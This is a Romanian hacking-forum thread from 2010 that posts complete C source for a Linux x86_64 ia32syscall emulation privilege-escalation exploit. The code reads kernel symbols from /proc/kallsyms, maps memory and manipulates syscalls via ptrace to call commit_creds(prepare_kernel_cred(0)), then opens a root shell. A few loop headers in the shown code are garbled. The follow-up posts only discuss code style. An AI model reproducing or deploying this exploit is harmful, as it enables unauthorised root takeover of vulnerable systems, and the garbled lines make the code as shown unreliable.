Nytro Posted September 17, 2010 Report Posted September 17, 2010 x86_64 Linux Kernel ia32syscall Emulation Privilege EscalationCate ceva despre el:http://rstcenter.com/forum/25902-die-hard-bug-bytes-linux-kernel-second-time.rst/* * exploit for x86_64 linux kernel ia32syscall emulation (again) * rediscovered by ben hawkes * with help from robert swiecki and tavis ormandy * * original vulnerability discovered by Wojciech Purczynski * * original exploit by * Robert Swiecki <robert_at_swiecki.net> * Przemyslaw Frasunek <venglin_at_freebsd.lublin.pl> * Pawel Pisarczyk <pawel_at_immos.com.pl> * * kernel priv escalation code borrowed from spender * */#include <sys/types.h>#include <sys/wait.h>#include <sys/ptrace.h>#include <inttypes.h>#include <sys/reg.h>#include <unistd.h>#include <stdio.h>#include <stdlib.h>#include <sys/mman.h>#include <string.h>typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);_commit_creds commit_creds;_prepare_kernel_cred prepare_kernel_cred;int kernelmodecode(void *file, void *vma){ commit_creds(prepare_kernel_cred(0)); return -1;}unsigned longget_symbol(char *name){ FILE *f; unsigned long addr; char dummy; char sname[512]; int ret = 0, oldstyle = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) return 0; oldstyle = 1; } while (ret != EOF) { if (!oldstyle) { ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname); } else { ret = fscanf(f, "%p %s\n", (void **) &addr, sname); if (ret == 2) { char *p; if (strstr(sname, "_O/") || strstr(sname, "_S.")) { continue; } p = strrchr(sname, '_'); if (p > ((char *) sname + 5) && !strncmp(p - 3, "smp", 3)) { p = p - 4; while (p > (char *)sname && *(p - 1) == '_') { p--; } *p = '\0'; } } } if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { printf("resolved symbol %s to %p\n", name, (void *) addr); fclose(f); return addr; } } fclose(f); return 0;}static void docall(uint64_t *ptr, uint64_t size){ commit_creds = (_commit_creds) get_symbol("commit_creds"); if (!commit_creds) { printf("symbol table not available, aborting!\n"); exit(1); } prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred"); if (!prepare_kernel_cred) { printf("symbol table not available, aborting!\n"); exit(1); } uint64_t tmp = ((uint64_t)ptr & ~0x00000000000FFF); printf("mapping at %lx\n", tmp); if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) { printf("mmap fault\n"); exit(1); } for (; (uint64_t) ptr < (tmp + size); ptr++) *ptr = (uint64_t)kernelmodecode; __asm__("\n" "\tmovq $0x101, %rax\n" "\tint $0x80\n"); printf("UID %d, EUID:%d GID:%d, EGID:%d\n", getuid(), geteuid(), getgid(), getegid()); execl("/bin/sh", "bin/sh", NULL); printf("no /bin/sh ??\n"); exit(0);}int main(int argc, char **argv){ int pid, status, set = 0; uint64_t rax; uint64_t kern_s = 0xffffffff80000000; uint64_t kern_e = 0xffffffff84000000; uint64_t off = 0x0000000800000101 * 8; if (argc == 4) { docall((uint64_t*)(kern_s + off), kern_e - kern_s); exit(0); } if ((pid = fork()) == 0) { ptrace(PTRACE_TRACEME, 0, 0, 0); execl(argv[0], argv[0], "2", "3", "4", NULL); perror("exec fault"); exit(1); } if (pid == -1) { printf("fork fault\n"); exit(1); } for ( { if (wait(&status) != pid) continue; if (WIFEXITED(status)) { printf("Process finished\n"); break; } if (!WIFSTOPPED(status)) continue; if (WSTOPSIG(status) != SIGTRAP) { printf("Process received signal: %d\n", WSTOPSIG(status)); break; } rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0); if (rax == 0x000000000101) { if (ptrace(PTRACE_POKEUSER, pid, 8*ORIG_RAX, off/8) == -1) { printf("PTRACE_POKEUSER fault\n"); exit(1); } set = 1; //rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0); } if ((rax == 11) && set) { ptrace(PTRACE_DETACH, pid, 0, 0); for( sleep(10000); } if (ptrace(PTRACE_SYSCALL, pid, 1, 0) == -1) { printf("PTRACE_SYSCALL fault\n"); exit(1); } } return 0;} Quote
Flubber Posted September 17, 2010 Report Posted September 17, 2010 Mi se pare mie, sau codul este putin ciudat, adica, stilul de programare? Mai intai este scrisa executia (inainte de asta defapt, sunt definite cateva headere si "functii", sa le zic asa), iar apoi sunt scrise toate functiile alea int void(<- EXEMPLU) si mai stiu eu ce. Quote
Nytro Posted September 17, 2010 Author Report Posted September 17, 2010 Nu mi se pare nimic ciudat la el, sau nu am inteles ce vrei sa spui. Mai intai sunt incluse headerele apoi sunt definite 2 tipuri de functii apoi functiile pe care le foloseste, apoi main-ul. Quote
Flubber Posted September 17, 2010 Report Posted September 17, 2010 Nu mi se pare nimic ciudat la el, sau nu am inteles ce vrei sa spui. Mai intai sunt incluse headerele apoi sunt definite 2 tipuri de functii apoi functiile pe care le foloseste, apoi main-ul. Nu, am gresit eu, sunt obisnuit intai sa declar toate variabilele si sa imi fac spatiul de 'lucru' si apoi sa trec la executia propriu-zisa in care se folosesc variabilele, functiile, definitiile, s.a.m.d. M-am uitat mai atent si este la fel, am avut impresia ca intai vine executia in sine, exploitarea si apoi defineste ce trebuie sa se foloseasca in procesul exploitarii, ma rog, scuzele mele de rigoare. Quote